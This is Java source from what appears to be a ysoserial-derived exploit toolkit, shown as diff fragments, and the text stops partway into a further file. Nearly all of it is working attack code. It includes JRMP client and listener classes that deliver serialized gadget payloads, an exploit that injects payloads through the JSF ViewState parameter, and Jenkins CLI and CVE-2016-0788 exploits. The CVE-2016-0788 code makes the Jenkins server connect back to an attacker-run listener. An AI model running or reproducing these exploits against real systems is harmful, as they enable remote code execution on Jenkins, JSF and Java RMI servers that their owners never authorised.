||||
String hostname = args[0];
|
||||
int port = Integer.parseInt(args[1]);
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
|
||||
makeDGCCall(hostname, port, payloadObject);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
|
||||
InetSocketAddress isa = new InetSocketAddress(hostname, port);
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
s = SocketFactory.getDefault().createSocket(hostname, port);
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
@SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(2); // DGC
|
||||
objOut.writeInt(0);
|
||||
objOut.writeLong(0);
|
||||
objOut.writeShort(0);
|
||||
|
||||
objOut.writeInt(1); // dirty
|
||||
objOut.writeLong(-669196253586618813L);
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
|
||||
os.flush();
|
||||
} finally {
|
||||
if (dos != null) {
|
||||
dos.close();
|
||||
}
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
|
||||
private URL sendUrl;
|
||||
|
||||
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||
super(out);
|
||||
this.sendUrl = u;
|
||||
}
|
||||
|
||||
MarshalOutputStream(OutputStream out) throws IOException {
|
||||
super(out);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void annotateClass(Class<?> cl) throws IOException {
|
||||
if (this.sendUrl != null) {
|
||||
writeObject(this.sendUrl.toString());
|
||||
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||
writeObject(null);
|
||||
} else {
|
||||
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||
String cb = "";
|
||||
|
||||
for (URL u : us) {
|
||||
cb += u.toString();
|
||||
}
|
||||
writeObject(cb);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Serializes a location from which to load the specified class.
|
||||
*/
|
||||
@Override
|
||||
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||
annotateClass(cl);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,293 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.net.ServerSocketFactory;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.UID;
|
||||
import java.util.Arrays;
|
||||
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
* <p>
|
||||
* Opens up an JRMP listener that will deliver the specified payload to any
|
||||
* client connecting to it and making a call.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JRMPListener implements Runnable {
|
||||
|
||||
private int port;
|
||||
|
||||
private Object payloadObject;
|
||||
|
||||
private ServerSocket ss;
|
||||
|
||||
private Object waitLock = new Object();
|
||||
|
||||
private boolean exit;
|
||||
|
||||
private boolean hadConnection;
|
||||
|
||||
private URL classpathUrl;
|
||||
|
||||
|
||||
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = payloadObject;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = makeDummyObject(className);
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public static final void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
// 去除第一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[0]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, payloadObject);
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
protected static Object makeDummyObject(String className) {
|
||||
try {
|
||||
ClassLoader isolation = new ClassLoader() {
|
||||
};
|
||||
ClassPool cp = new ClassPool();
|
||||
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||
CtClass clazz = cp.get(Dummy.class.getName());
|
||||
clazz.setName(className);
|
||||
return clazz.toClass(isolation).newInstance();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
public boolean waitFor(int i) {
|
||||
try {
|
||||
if (this.hadConnection) {
|
||||
return true;
|
||||
}
|
||||
System.err.println("Waiting for connection");
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.wait(i);
|
||||
}
|
||||
return this.hadConnection;
|
||||
} catch (InterruptedException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public void close() {
|
||||
this.exit = true;
|
||||
try {
|
||||
this.ss.close();
|
||||
} catch (IOException e) {
|
||||
}
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notify();
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
Socket s = null;
|
||||
try {
|
||||
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||
try {
|
||||
s.setSoTimeout(5000);
|
||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||
System.err.println("Have connection from " + remote);
|
||||
|
||||
InputStream is = s.getInputStream();
|
||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||
|
||||
// Read magic (or HTTP wrapper)
|
||||
bufIn.mark(4);
|
||||
DataInputStream in = new DataInputStream(bufIn);
|
||||
int magic = in.readInt();
|
||||
|
||||
short version = in.readShort();
|
||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
DataOutputStream out = new DataOutputStream(bufOut);
|
||||
|
||||
byte protocol = in.readByte();
|
||||
switch (protocol) {
|
||||
case TransportConstants.StreamProtocol:
|
||||
out.writeByte(TransportConstants.ProtocolAck);
|
||||
if (remote.getHostName() != null) {
|
||||
out.writeUTF(remote.getHostName());
|
||||
} else {
|
||||
out.writeUTF(remote.getAddress().toString());
|
||||
}
|
||||
out.writeInt(remote.getPort());
|
||||
out.flush();
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
case TransportConstants.SingleOpProtocol:
|
||||
doMessage(s, in, out, this.payloadObject);
|
||||
break;
|
||||
default:
|
||||
case TransportConstants.MultiplexProtocol:
|
||||
System.err.println("Unsupported protocol");
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
bufOut.flush();
|
||||
out.flush();
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
System.err.println("Closing connection");
|
||||
s.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} finally {
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
if (this.ss != null) {
|
||||
this.ss.close();
|
||||
}
|
||||
}
|
||||
|
||||
} catch (SocketException e) {
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||
System.err.println("Reading message...");
|
||||
|
||||
int op = in.read();
|
||||
|
||||
switch (op) {
|
||||
case TransportConstants.Call:
|
||||
// service incoming RMI call
|
||||
doCall(in, out, payload);
|
||||
break;
|
||||
|
||||
case TransportConstants.Ping:
|
||||
// send ack for ping
|
||||
out.writeByte(TransportConstants.PingAck);
|
||||
break;
|
||||
|
||||
case TransportConstants.DGCAck:
|
||||
UID u = UID.read(in);
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IOException("unknown transport op " + op);
|
||||
}
|
||||
|
||||
s.close();
|
||||
}
|
||||
|
||||
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||
|
||||
@Override
|
||||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
||||
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||
return ObjID[].class;
|
||||
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||
return ObjID.class;
|
||||
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||
return UID.class;
|
||||
}
|
||||
throw new IOException("Not allowed to read object");
|
||||
}
|
||||
};
|
||||
|
||||
ObjID read;
|
||||
try {
|
||||
read = ObjID.read(ois);
|
||||
} catch (java.io.IOException e) {
|
||||
throw new MarshalException("unable to read objID", e);
|
||||
}
|
||||
|
||||
|
||||
if (read.hashCode() == 2) {
|
||||
ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||
}
|
||||
|
||||
System.err.println("Sending return with payload for obj " + read);
|
||||
|
||||
out.writeByte(TransportConstants.Return);// transport op
|
||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
||||
|
||||
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||
new UID().write(oos);
|
||||
|
||||
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(ex, "val", payload);
|
||||
oos.writeObject(ex);
|
||||
|
||||
oos.flush();
|
||||
out.flush();
|
||||
|
||||
this.hadConnection = true;
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notifyAll();
|
||||
}
|
||||
}
|
||||
|
||||
public static class Dummy implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.net.URLEncoder;
|
||||
|
||||
|
||||
/**
|
||||
* JSF view state exploit
|
||||
* <p>
|
||||
* Delivers a gadget payload via JSF ViewState token.
|
||||
* <p>
|
||||
* This will only work if ViewState encryption/mac is disabled.
|
||||
* <p>
|
||||
* While it has been long known that client side state saving
|
||||
* with encryption disabled leads to RCE via EL injection,
|
||||
* this of course also works with deserialization gadgets.
|
||||
* <p>
|
||||
* Also, it turns out that MyFaces is vulnerable to this even when
|
||||
* using server-side state saving
|
||||
* (yes, please, let's (de-)serialize a String as an Object).
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JSF {
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
if (args.length < 3) {
|
||||
System.err.println(JSF.class.getName() + " <view_url> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
try {
|
||||
URL u = new URL(args[0]);
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
URLConnection c = u.openConnection();
|
||||
if (!(c instanceof HttpURLConnection)) {
|
||||
throw new IllegalArgumentException("Not a HTTP url");
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) c;
|
||||
hc.setDoOutput(true);
|
||||
hc.setRequestMethod("POST");
|
||||
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
|
||||
OutputStream os = hc.getOutputStream();
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
||||
oos.writeObject(payloadObject);
|
||||
oos.close();
|
||||
byte[] data = bos.toByteArray();
|
||||
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
|
||||
os.write(requestBody.getBytes("US-ASCII"));
|
||||
os.close();
|
||||
|
||||
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.Channel.Mode;
|
||||
import hudson.remoting.ChannelBuilder;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.concurrent.ThreadFactory;
|
||||
|
||||
/**
|
||||
* Jenkins CLI client
|
||||
* <p>
|
||||
* Jenkins unfortunately is still using a custom serialization based
|
||||
* protocol for remote communications only protected by a blacklisting
|
||||
* application level filter.
|
||||
* <p>
|
||||
* This is a generic client delivering a gadget chain payload via that protocol.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JenkinsCLI {
|
||||
|
||||
public static final void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[0];
|
||||
// 去除前一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
c.call(getPropertyCallable(payloadObject));
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Callable<?, ?> getPropertyCallable(final Object prop)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
Object getJarLoader = reqCons
|
||||
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
|
||||
prop
|
||||
});
|
||||
return (Callable<?, ?>) getJarLoader;
|
||||
}
|
||||
|
||||
public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException {
|
||||
URL u = new URL(jenkinsUrl);
|
||||
|
||||
URLConnection conn = u.openConnection();
|
||||
if (!(conn instanceof HttpURLConnection)) {
|
||||
System.err.println("Not a HTTP URL");
|
||||
throw new MalformedURLException();
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) conn;
|
||||
if (hc.getResponseCode() >= 400) {
|
||||
System.err.println("* Error connection to jenkins HTTP " + u);
|
||||
}
|
||||
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
||||
|
||||
return new InetSocketAddress(u.getHost(), clip);
|
||||
}
|
||||
|
||||
public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException {
|
||||
System.err.println("* Opening socket " + isa);
|
||||
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
System.err.println("* Opening channel");
|
||||
OutputStream outputStream = s.getOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(outputStream);
|
||||
dos.writeUTF("Protocol:CLI-connect");
|
||||
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
|
||||
|
||||
public Thread newThread(Runnable r) {
|
||||
Thread t = new Thread(r, "Channel");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
}
|
||||
});
|
||||
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
|
||||
System.err.println("* Channel open");
|
||||
return c;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.JRMPListener;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.JarLoader;
|
||||
import sun.rmi.server.Util;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.rmi.activation.ActivationDesc;
|
||||
import java.rmi.activation.ActivationID;
|
||||
import java.rmi.activation.ActivationInstantiator;
|
||||
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (1)
|
||||
* <p>
|
||||
* 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
|
||||
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
||||
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
||||
* <p>
|
||||
* Extra twist:
|
||||
* The well-known objects exported by the listener use the system classloader which usually
|
||||
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
|
||||
* (which is using jenkins' classloader) that typically is properly randomized.
|
||||
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
|
||||
* that identifier via an exception.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"rawtypes", "restriction"
|
||||
})
|
||||
public class JenkinsListener {
|
||||
|
||||
public static final void main(final String[] args) {
|
||||
|
||||
if (args.length < 5) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[0];
|
||||
int jrmpPort = 12345;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
|
||||
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
|
||||
InvocationHandler remote = Proxy.getInvocationHandler(call);
|
||||
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
|
||||
|
||||
System.err.println("* JarLoader oid is " + oid);
|
||||
|
||||
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
||||
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
|
||||
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
||||
|
||||
try {
|
||||
c.call((Callable<?, ?>) o);
|
||||
} catch (Exception e) {
|
||||
// [ActivationGroupImpl[UnicastServerRef [liveRef:
|
||||
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
|
||||
// -9046794842107247609]]
|
||||
|
||||
System.err.println(e.getMessage());
|
||||
|
||||
parseObjIdAndExploit(args, jrmpPort, isa, e);
|
||||
}
|
||||
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
return reqCons
|
||||
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
|
||||
uro,
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
|
||||
String msg = e.getMessage();
|
||||
int start = msg.indexOf("objID:[");
|
||||
if (start < 0) {
|
||||
throw new Exception("Failed to get object id");
|
||||
}
|
||||
|
||||
int sep = msg.indexOf(", ", start + 1);
|
||||
|
||||
if (sep < 0) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
int end = msg.indexOf("]", sep + 1);
|
||||
|
||||
if (end < 0) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
String uid = msg.substring(start + 7, sep);
|
||||
String objNum = msg.substring(sep + 2, end);
|
||||
|
||||
System.err.println("* UID is " + uid);
|
||||
System.err.println("* ObjNum is " + objNum);
|
||||
|
||||
String[] parts = uid.split(":");
|
||||
|
||||
long obj = Long.parseLong(objNum);
|
||||
int o1 = Integer.parseInt(parts[0], 16);
|
||||
long o2 = Long.parseLong(parts[1], 16);
|
||||
short o3 = Short.parseShort(parts[2], 16);
|
||||
|
||||
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
|
||||
}
|
||||
|
||||
|
||||
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
|
||||
throws IOException {
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
System.err.println("* Opening JRMP socket " + isa);
|
||||
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
@SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(obj);
|
||||
objOut.writeInt(o1);
|
||||
objOut.writeLong(o2);
|
||||
objOut.writeShort(o3);
|
||||
|
||||
objOut.writeInt(-1);
|
||||
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
os.flush();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
if (dos != null) {
|
||||
dos.close();
|
||||
}
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||
import hudson.remoting.Channel;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (2)
|
||||
* <p>
|
||||
* - Sets up a local {@link JRMPListener}
|
||||
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
|
||||
* that will cause the remote to open a JRMP connection to our listener
|
||||
* - upon connection the specified payload will be delivered to the remote
|
||||
* (that will deserialize using a default ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JenkinsReverse {
|
||||
|
||||
public static final void main(final String[] args) throws Exception {
|
||||
if (args.length < 4) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
String myAddr = args[1];
|
||||
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||
String jenkinsUrl = args[0];
|
||||
|
||||
Thread t = null;
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
|
||||
t = new Thread(listener, "ReverseDGC");
|
||||
t.setDaemon(true);
|
||||
t.start();
|
||||
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
|
||||
c.call(JenkinsCLI.getPropertyCallable(payload));
|
||||
listener.waitFor(1000);
|
||||
listener.close();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (t != null) {
|
||||
t.interrupt();
|
||||
try {
|
||||
t.join();
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.security.auth.UnixPrincipal;
|
||||
import sun.rmi.transport.StreamRemoteCall;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import javax.management.remote.rmi.RMIConnection;
|
||||
import javax.security.auth.Subject;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInput;
|
||||
import java.io.ObjectOutput;
|
||||
import java.lang.reflect.Field;
|
||||
import java.rmi.*;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.Operation;
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
